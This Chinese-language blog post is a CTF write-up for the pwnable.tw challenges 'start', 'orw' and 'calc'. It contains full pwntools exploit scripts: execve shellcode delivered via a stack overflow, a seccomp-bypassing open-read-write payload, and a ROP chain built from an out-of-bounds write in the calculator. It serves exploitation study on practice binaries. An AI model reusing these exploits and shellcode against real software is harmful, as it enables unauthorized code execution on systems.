关闭
Hit
enter
to search or
ESC
to close
May I Suggest ?
#leanote #leanote blog #code #hello world
Mutepig's Blog
Home
Archives
Tags
Search
About Me
pwnable.tw[1-3]
无
369
0
0
mut3p1g
听说web狗没活路,所以再回去继续学bin....要把pwn捡起来,还是先从pwnable开始吧.... https://filippo.io/linux-syscall-table/ ## start ### ALL 汇编代码很简单,就这么多没了 ![](https://leanote.com/api/file/getImage?fileId=5f4f5da8ab644133970017bb) 首先把eax,ebx,ecx,edx都清空为0,然后将字符串`Let's start the CTF:`压入栈打印出来,后面接着调用了read来读一个输入,就是在这里栈溢出了 这里是函数都是通过系统调用`int 80h`来实现的,具体可以参照https://blog.csdn.net/u012763794/article/details/78777938 首先看一下返回的偏移,是20 ![](https://leanote.com/api/file/getImage?fileId=5f4f5da9ab644133970017be) 然后找一个比较短的shellcode就行了,我们能写的最大长度是`0x3c-20-8=32`,找一个这个范围内的shellcode就行,然后泄露栈地址直接跳过去就好 ### LEAK 要泄露的目标是栈的地址,通过阅读代码可以知道最初压了俩东西,一个是返回到_exit的地址,一个就是esp的地址 ``` .text:08048060 push esp .text:08048061 push offset _exit ``` 所以我们可以把返回地址覆盖到 ``` .text:08048087 mov ecx, esp ; addr ``` 那么分析一下,这里的esp离我们的shellcode应该有多远 首先我们输入的应该有0x14个padding,接着就是返回地址(这里应该改为我们的shellcode的地址),然后就是esp了,所以距离为`0x14(padding) + 0x04(ret) = 0x18` ### EXP 根据上面的分析,可以得到poc,要注意的是这里不能用sendline,否则\n会把最初的esp给覆盖一位 ``` from pwn import * p = remote("chall.pwnable.tw",10000) #p = process("./start") context.log_level = "debug" ret_addr = 0x8048087 shellcode = "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" #gdb.attach(proc.pidof(p)[0],"b *0x8048087\n") if __name__ == '__main__': p.recvuntil(":") padding = "A"*20 payload1 = padding + p32(ret_addr) p.send(payload1) leak = u32(p.recv(4)) log.success("leak esp_addr : %s",hex(leak)) log.success("jmp2addr : %s",hex(leak+0x0a+0x8)) payload2 = 'A'*20+p32(leak + 0x18)+"\x90"*8+shellcode p.send(payload2) p.interactive() ``` ## orw 代码很短,还是直接看汇编吧 ![](https://leanote.com/api/file/getImage?fileId=5f4f5da9ab644133970017c0) 发现是你给个shellcode,然后直接跳过去,查了一下保护措施,发现就开了金丝雀,但问题这里用了seccomp保护机制,简单来说就是在该模式下的进程只能调用4种系统调用,即read(),write(),exit()和sigreturn(),否则进程便会被终止 ![](https://leanote.com/api/file/getImage?fileId=5f4f5da8ab644133970017bd) 然后通过wiki可以确定这里是seccomp-bpf模式,这样就可以自定义规则了,通过`$bpf_prog`里面的规则来对系统调用进行放行或者过滤 https://wiki.mozilla.org/Security/Sandbox/Seccomp ![](https://leanote.com/api/file/getImage?fileId=5f4f5da9ab644133970017c2) 可以利用工具来返汇编,这里需要的是把`0x8048640`开始的0x60字节数据弄出来分析 https://github.com/seccomp/libseccomp/blob/master/tools/scmp_bpf_disasm.c 将数据取出来保存为文本文件,然后直接反汇编就行了,可以看到这里允许3,4,5即`open,read,write`。 ![](https://leanote.com/api/file/getImage?fileId=5f4f5da9ab644133970017bf) 但是还是看到有大牛getshell了,是通过`syscall`来实现的。 https://pwnable.tw/writeup/2/709 然后正常做法就是打开文件,读文件,然后打印出来 ``` #!/usr/bin/env python # encoding: utf-8 from pwn import * p = process("./orw") p = remote('chall.pwnable.tw', 10001) context.log_level = "debug" #shellcode = '31C050B860A0040883C01350EA9885040833004831F648B82F62696E2F736800504889E74831D248C7C03B0000000F05'.decode('hex') #gdb.attach(proc.pidof(p)[0],"b *0x08048559\nb *0x804858a\n") p.recvuntil(":") sc = shellcraft.pushstr("/home/orw/flag") # 下面几个函数调用都是通过int 80h调用的,其中三个参数分别为ebx,ecx,edx sc += shellcraft.open("esp",0,0) sc += shellcraft.read("eax","esp",100) sc += shellcraft.write(1,"esp",100) sc = asm(sc) p.send(sc) print p.recv(1000) ``` 然后回过头来看看执行`execve`是如何实现的。 ``` 0: 31 c0 xor eax,eax 2: 50 push eax 3: b8 60 a0 04 08 mov eax,0x804a060 8: 83 c0 13 add eax,0x13 b: 50 push eax c: ea 98 85 04 08 33 00 jmp 0x33:0x8048598 13: 48 dec eax 14: 31 f6 xor esi,esi 16: 48 dec eax 17: b8 2f 62 69 6e mov eax,0x6e69622f 1c: 2f das 1d: 73 68 jae 0x87 1f: 00 50 48 add BYTE PTR [eax+0x48],dl 22: 89 e7 mov edi,esp 24: 48 dec eax 25: 31 d2 xor edx,edx 27: 48 dec eax 28: c7 c0 3b 00 00 00 mov eax,0x3b 2e: 0f 05 syscall ``` 但是这个是有问题的,所以我们再动态调试看一下,一共分类三次跳转。 1 走到`main`函数的`return`,再跳回到shellcode ``` ► 0x804a060 <shellcode> xor eax, eax 0x804a062 <shellcode+2> push eax 0x804a063 <shellcode+3> mov eax, shellcode <0x804a060> 0x804a068 <shellcode+8> add eax, 0x13 0x804a06b <shellcode+11> push eax 0x804a06c <shellcode+12> ljmp 0x33:main+80 <0x8048598> # main的return ``` 2 压入`/bin/sh`并设置`esi=0`,再次跳转 ``` ► 0x804a073 <shellcode+19> dec eax <0x804a073> 0x804a074 <shellcode+20> xor esi, esi 0x804a076 <shellcode+22> dec eax 0x804a077 <shellcode+23> mov eax, 0x6e69622f 0x804a07c <shellcode+28> das 0x804a07d <shellcode+29> jae shellcode+135 <0x804a0e7> ``` 3 设置`edi=/bin/sh`,`edx=0`,`eax=0x3b(execve)`,最后调用syscall ``` ► 0x804a080 <shellcode+32> push eax 0x804a081 <shellcode+33> dec eax 0x804a082 <shellcode+34> mov edi, esp 0x804a084 <shellcode+36> dec eax 0x804a085 <shellcode+37> xor edx, edx 0x804a087 <shellcode+39> dec eax 0x804a088 <shellcode+40> mov eax, 0x3b 0x804a08e <shellcode+46> syscall ``` 那么这里有几个问题: 1. 为啥这么多`dec eax`,而且并没有效果? 2. 为啥要跳转到`main`的`return`? 3. `das`的目的是什么? ``` das \x2f=/ jae 0x68 = sh ``` 所以这里其实就是`/bin/sh`,所以汇编代码应该是 ``` mov eax,0x0068732f6e69622f; ``` 4. 怎么绕过的保护机制? 可以参考下面的源代码,绕过把`seccomp`函数里的内容写到`main`里面,就不行了,所以得`return`一下。 可以基本还原其源码: ``` #include <stdio.h> #include <signal.h> #include <unistd.h> #include <time.h> #include <string.h> #include <stdlib.h> #include <malloc.h> #include <sys/prctl.h> #include <seccomp.h> #include <linux/seccomp.h> #include <linux/filter.h> struct sock_filter filter[] = { BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4), // 固定 BPF_JUMP(BPF_JMP+BPF_JEQ,0x40000003,0,9), // 固定 BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0), //固定 BPF_JUMP(BPF_JMP+BPF_JEQ,173,7,0), // 规则开始 BPF_JUMP(BPF_JMP+BPF_JEQ,119,6,0), BPF_JUMP(BPF_JMP+BPF_JEQ,252,5,0), BPF_JUMP(BPF_JMP+BPF_JEQ,1,4,0), //前面的JMP+JEQ表示,如果系统调用号=1,则跳转到下面第(4+1)=5行,否则跳转到下面(0+1)=1行 BPF_JUMP(BPF_JMP+BPF_JEQ,5,3,0), BPF_JUMP(BPF_JMP+BPF_JEQ,3,2,0), BPF_JUMP(BPF_JMP+BPF_JEQ,4,1,0), BPF_STMT(BPF_RET+BPF_K,0x00050026), // 这里是SECCOMP_RET_ERROR(38) BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW) }; void seccomp() { struct sock_fprog prog = { .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])), .filter = filter, }; prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0); prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog); } char shellcode[0xf0]; int main() { seccomp(); printf("Give my your shellcode:"); read(0, &shellcode, 0xC8u); ((void (*)(void))shellcode)(); return 0; } ``` ## calc ### ALL 主要逻辑是输入一个表达式,然后将计算结果返回回来 ![](https://leanote.com/api/file/getImage?fileId=5f4f5da9ab644133970017c1) s每次清0,然后获取表达式,接着v1前100位清0,将计算结果返回给v1,然后v2[v1-1]以`%d`格式打印出来 那么关键就是如何计算这个结果了,主要代码逻辑如下 ``` expr2 = expr; //expr2表示上一次运算符出现的位置 v8 = 0; bzero(s, 0x64u); for ( i = 0; ; ++i ) // 计数,表示当前走到expr的第i个字符 { if ( (unsigned int)(*(_BYTE *)(i + expr) - '0') > 9 ) // 由于是unsigned int,所以如果减出来是负数则会>9,所以这里是判断是不是运算符(运算符都小于数字) { v2 = i + expr - expr2;// expr为当前运算符的位置,expr2位上一个运算符的位置,所以这里应该表示运算符之间每个数字的长度 s1 = (char *)malloc(v2 + 1); memcpy(s1, expr2, v2);//将数字存在s1里面 s1[v2] = 0; if ( !strcmp(s1, "0") )//这里应该是判断是不是0,但是有问题就是只要出现了0就会报错 { puts("prevent division by zero"); fflush(stdout); result = 0; goto LABEL_25; } v10 = atoi(s1); //将字符串转为数字 if ( v10 > 0 ) { v4 = (*ret)++; ret[v4 + 1] = v10;//将数字存入ret数组 } if ( *(_BYTE *)(i + expr) && (unsigned int)(*(_BYTE *)(i + 1 + expr) - '0') > 9 )//有连续俩运算符或者运算符后面没东西了则报错 { puts("expression error!"); fflush(stdout); result = 0; goto LABEL_25; } expr2 = i + 1 + expr;//记录一下上一个运算符的位置+1 if ( s[v8] )//如果s里面有值的话,则用eval计算结果 { switch ( *(_BYTE *)(i + expr) ) { case '+': case '-': eval(ret, s[v8]); s[v8] = *(_BYTE *)(i + expr); break; case '%': case '*': case '/'://如果是乘和除法则需要考虑优先级 if ( s[v8] != '+' && s[v8] != '-' ) { eval(ret, s[v8]); s[v8] = *(_BYTE *)(i + expr); } else { s[++v8] = *(_BYTE *)(i + expr); } break; default: eval(ret, s[v8--]); break; } } else { s[v8] = *(_BYTE *)(i + expr); } if ( !*(_BYTE *)(i + expr) ) break; } } ``` 然后来看看eval这个函数,基本上操作都是基于下面这个表达式来的 ``` ret[*ret - 1] OPE= ret[*ret] ``` 这个表达式是基于一个原则,即操作符左右两边都是有数值的,但是检测表达式合法性的时候只检测了右边是否有值却没检测左边是否有值,于是在这里产生了漏洞。 ### LEAK 可以看到,最后打印结果的代码为 ``` int v1; // [sp+18h] [bp-5A0h]@4 int v2[100]; // [sp+1Ch] [bp-59Ch]@5 parse_expr((int)&s, &v1) printf((const char *)&unk_80BF804, v2[v1 - 1]); ``` 这里的关键问题是将v1,v2,ret之间的关系理清楚 可以看到parse_expr是将v1的传给ret,所以ret应该是个数组,而v1=ret[0]=*ret(用来记录当前有几个数),剩下的就是v2了即v2=ret[1:](用来记录各个数值) 接着在eval里面,执行的代码可以看成 ``` ret[len-1] += ret[len] ``` 所以如果len-1=0,那么我们就可以修改ret[0],从而使得最后打印值的过程会打印出栈上的其他数据,而如果我们输入的操作符左边没有数值,那么就会产生这样的效果 ``` 输入+100 => ret[0]=1 ret[1]=100 => ret[1-1]+=ret[1] => ret[0]+=ret[1] => ret[0] = 101 而最后ret[0]会减1,所以得到的就是 ret[0] = 100 ``` 由于ret是一个int数组,所以每个位置占用4个字节,所以从v1=bp-5a0h实际上可以看作距离bp有360个位置 如果我们不仅可以泄露,同时还可以覆盖,那么就能将数据写到栈上去从而实现栈溢出了。 ### WRITE 这个和上面差不多,同样也是通过eval里面的那句话来写入数据 ``` ret[len-1] += ret[len] ``` 可以看到这里是`+=`,所以肯定是可以覆写数据的 ``` 输入+100+1 =>ret[0]=1 ret[1]=100 =>ret[0]=100 ret[1]=100 ret[101]=1 =>ret[101-1]+=ret[101] 从而将ret[100]的数据多加了1 ``` 然而还需要注意的是,由于每次计算都会清0,所以就算计算成功了也只会在当前计算轮数成功,所以我们需要写入的位置得是在不被清0的范围里面。 ``` char s; // [sp+1ACh] [bp-40Ch]@2 bzero(&s, 0x400u); ``` 所以清空的是`bp-40Ch~bp-Ch`,换算一下就是我们可以覆写的是ret[360-C/4]=ret[357]之后的栈空间。 ``` +=======+357 canary +=======+358 ebp-8 +=======+359 ebp-4 +=======+360 last_ebp +=======+361 ret_addr +=======+362 we can write from here ``` ### EXP 现在栈溢出的方法已经有了,我们就能够通过sys_execve来getshell了 首先是找到`int 80h`,通过在IDA里面搜索 ``` int 80h ``` 可以找到很多,这里选择0x806DDA3来调用`int 80h` 这里我们需要构造的是 ``` eax=>11(sys_execve) ebx=>/bin/sh的地址 ecx=>0 edx=>0 ``` 所以我们需要各种pop上面几个寄存器后ret的gadget。 利用工具可以很容易的找到对应的地址 ``` python ROPgadget.py --binary /tmp/calc --only "pop|ret" 0x0805c34b : pop eax ; ret 0x080701d1 : pop ecx ; pop ebx ; ret 0x080701aa : pop edx ; ret ``` 所以这样就能构造ROP链了,对应如下 ``` +=======+361 pop eax;ret +=======+362 11 +=======+363 pop ecx;pop ebx;ret +=======+364 0 +=======+365 binsh_addr +=======+366 pop edx;ret +=======+367 0 +=======+368 int 80h +=======+369 "/bin" +=======+370 "/sh\x00" ``` 然后就是栈地址的获取,我们知道360对应的是ebp的地址,动态调试一下就能获得binsh的地址 下面就是EXP ``` #!/usr/bin/env python # encoding: utf-8 from pwn import * p = process("./calc") p = remote('chall.pwnable.tw', 10100) context.log_level = "debug" #gdb.attach(proc.pidof(p)[0],"b *0x08049432") max_int = 4294967296 int_addr = 0x806DDA3 par_addr = 0x0805c34b pcbr_addr = 0x080701d1 pdr_addr = 0x080701aa def leak(): p.recvuntil("\n") p.sendline("+360") ret = int(p.recvuntil("\n").strip()) log.success("Leak addr:" + hex(max_int + ret)) p.sendline("1") return ret def hack(k,v): p.recvuntil("\n") p.sendline("+%d"%(k)) ret = int(p.recvuntil("\n").strip()) if ret > v: p.sendline("+%d-%d"%(k,ret-v)) else: p.sendline("+%d+%d"%(k,v-ret)) def exit(): p.recvuntil("\n") p.sendline() if __name__ == "__main__": binsh_addr = leak() + 4 hack(361,par_addr) hack(362,11) hack(363,pcbr_addr) hack(364,0) hack(365,binsh_addr) hack(366,pdr_addr) hack(367,0) hack(368,int_addr) hack(369,u32("/bin")) hack(370,u32("/sh\x00")) exit() p.interactive() ```
觉得不错,点个赞?
提交评论
Sign in
to leave a comment.
No Leanote account ?
Sign up now
.
0
条评论
More...
文章目录
No Leanote account ? Sign up now.